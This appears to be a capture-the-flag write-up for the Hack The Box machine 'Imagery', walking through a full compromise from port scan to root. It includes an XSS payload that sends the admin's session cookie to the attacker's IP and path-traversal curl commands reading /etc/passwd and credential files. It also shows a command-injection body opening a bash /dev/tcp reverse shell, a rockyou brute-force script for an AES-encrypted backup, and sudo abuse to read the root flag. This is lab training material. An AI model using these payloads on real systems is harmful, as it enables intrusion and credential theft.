Imagery

January 31, 2026

Driver

Created by	Page	Difficulty	OS
Nab6eel	Hack The Box	Medium	Linux

Enumeration

I began with a full TCP port scan, followed by a service and version detection scan on the discovered open ports

  nmap -p- --open -vvv --min-rate 3000 -Pn -sS 10.10.11.88 -oG scan
  /opt/extractports scan
  nmap -p22,8000 -sCV 10.10.11.88 -oN ports

The scan revealed an SSH service and a web application running on port 8000.
Web enumeration
Accessing the web application on port 8000, I noticed a bug reporting feature in the footer of the page.
The bug report form contained two input fields. When submitting a URL pointing to a web server running on my machine, I observed incoming requests, confirming that user-supplied input was being rendered and processed.
This behavior indicated a reflected XSS vulnerability. Since the application included an authenticated admin area, I attempted to leverage XSS to steal the session cookie of the user reviewing bug reports.

I submitted a malicious bug report containing the following payload:

  <img src="http://10.10.14.9:80/?cookie=" onerror="this.src+=document.cookie;this.onerror=null;">

Once the report was reviewed, my server received a request containing the administrator’s session cookie. I added this cookie to my browser and gained authenticated access as an administrator.

Local File Inclusion (LFI)

The admin panel included functionality to download user logs. Inspecting the request parameters, I identified a Local File Inclusion (LFI) vulnerability.

I was able to read arbitrary files from the system:

  curl "http://10.10.11.88:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd" -H "cookie: session=.eJXXXXXXX"

From /etc/passwd, I identified two system users: web and mark.

I continued enumerating sensitive files and retrieved the web application configuration:

  curl "http://10.10.11.88:8000/admin/get_system_log?log_identifier=../config.py" -H "cookie: session=.eJXXXXXXX"

The configuration file indicated that application data was stored in db.json, which I was also able to retrieve:

  curl "http://10.10.11.88:8000/admin/get_system_log?log_identifier=../db.json" -H "cookie: session=.eJXXXXXXX"

This file contained hashed credentials for the users admin@imagery.htb and testuser@imagery.htb. Using an online hash cracking service, I recovered the plaintext password for testuser.

Initial Access – testuser

After authenticating as testuser, I gained access to functionality allowing image uploads and transformations.
The Transform Image feature sent a JSON request to the backend with several user-controlled parameters. By modifying these parameters, I identified a command injection vulnerability.

I achieved remote code execution by injecting a reverse shell payload:

  {
      "imageId": "d274e72b-219b-465d-adc7-8410e9767323",
      "transformType": "crop",
      "param":
      {
          "x": 0,
          "y": 0,
          "width": 1,
          "hight": "123; bash -c 'sh -i >& /dev/tcp/10.10.14.9/4444 0>&1' #"	
      }
  }

This resulted in a reverse shell as the web user.

Post-Exploitation – web

Enumerating scheduled tasks, I found a cron job executing the following script:
```
  /home/web/web/bot/admin.py
```
Reviewing the script revealed plaintext credentials for the admin user, which explained how the administrator reviewed bug reports.
Further enumeration revealed an encrypted backup file located in /var/backup. I downloaded the archive and attempted to decrypt it.

Since the archive was protected with AES encryption, I created a custom brute-force script using rockyou.txt. The correct password was successfully recovered, allowing me to extract the archive.

  import pyAesCrypt
  import sys
  import os
	
  # --- Configuration ---
  encrypted_file = "/home/rufo/content/web_20250806_120723.zip.aes"
	
  output_file = "web_data.zip" 
	
  wordlist_path = "/usr/share/wordlists/rockyou.txt" 
	
  bufferSize = 64 * 1024
  # ---------------------
	
  print(f"[*] Iniciando ataque de fuerza bruta contra {encrypted_file}")
  print(f"[*] Usando wordlist: {wordlist_path}\n")
	
  if not os.path.exists(wordlist_path):
      print(f"[ERROR] ¡Wordlist no encontrada en la ruta especificada! Revisa: {wordlist_path}")
      sys.exit(1)
	
  try:
      with open(wordlist_path, 'r', encoding='latin-1') as f:
          for i, line in enumerate(f):
              password = line.strip()
	            
              if not password:
                  continue
	
              if (i + 1) % 1000 == 0 or i < 10:
                   print(f"[>] Probando intento #{i + 1}: {password}", end='\r')
	
              try:
                  # Try decrypt
                  pyAesCrypt.decryptFile(encrypted_file, output_file, password, bufferSize)
	                
                  # Its correct
                  print(f"\n[+] Password fount!!: {password}")
                  print(f"[+] File output save as : {output_file}")
	               
                  print(f"[*] Next step: unzip {output_file} to check the content.")
                  sys.exit(0)
	
              except ValueError:
                  continue
              except Exception as e:
                  print(f"\n[!] Error with password {password}: {e}")
                  continue
	
          print("\n[-] Password not found in rockyou.")
	
  except KeyboardInterrupt:
      print("\n[!] Pause.")
      sys.exit(1)
  except Exception as e:
      print(f"\n[!!] Error: {e}")
      sys.exit(1)

Inside the backup, I located another copy of db.json, which contained credentials for two additional users: mark and web.
I cracked both password hashes and obtained plaintext credentials.
Using the existing shell, I switched to the mark user and retrieved the user flag:
```
  su mark
```

Privilege Escalation

I checked which commands the user mark could execute with elevated privileges:
```
  sudo -l
```
The user was allowed to run /usr/local/bin/charcol as root without providing a password.

Due to TTY limitations, I first upgraded my shell:

script /dev/null -c bash
Ctrl + z
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm
stty rows 50 columns 116

Inspecting the binary, I identified the -R option, which resets credentials:
```
  sudo /usr/local/bin/charcol -R 
```
After resetting the password, I executed the binary again and set an empty password:
```
sudo /usr/local/bin/charcol shell
```
This granted access to an administrative interface that allowed scheduling tasks.

I added a scheduled task to exfiltrate the root flag:

auto add --schedule "*/1 * * * *" --command "cat /root/root.txt  >> /tmp/flag.txt" --name "TEST" --log-output /tmp/root.txt

After one minute, I retrieved the root flag from /tmp

Enumeration

Web enumeration

Local File Inclusion (LFI)

Initial Access – testuser

Post-Exploitation – web

Privilege Escalation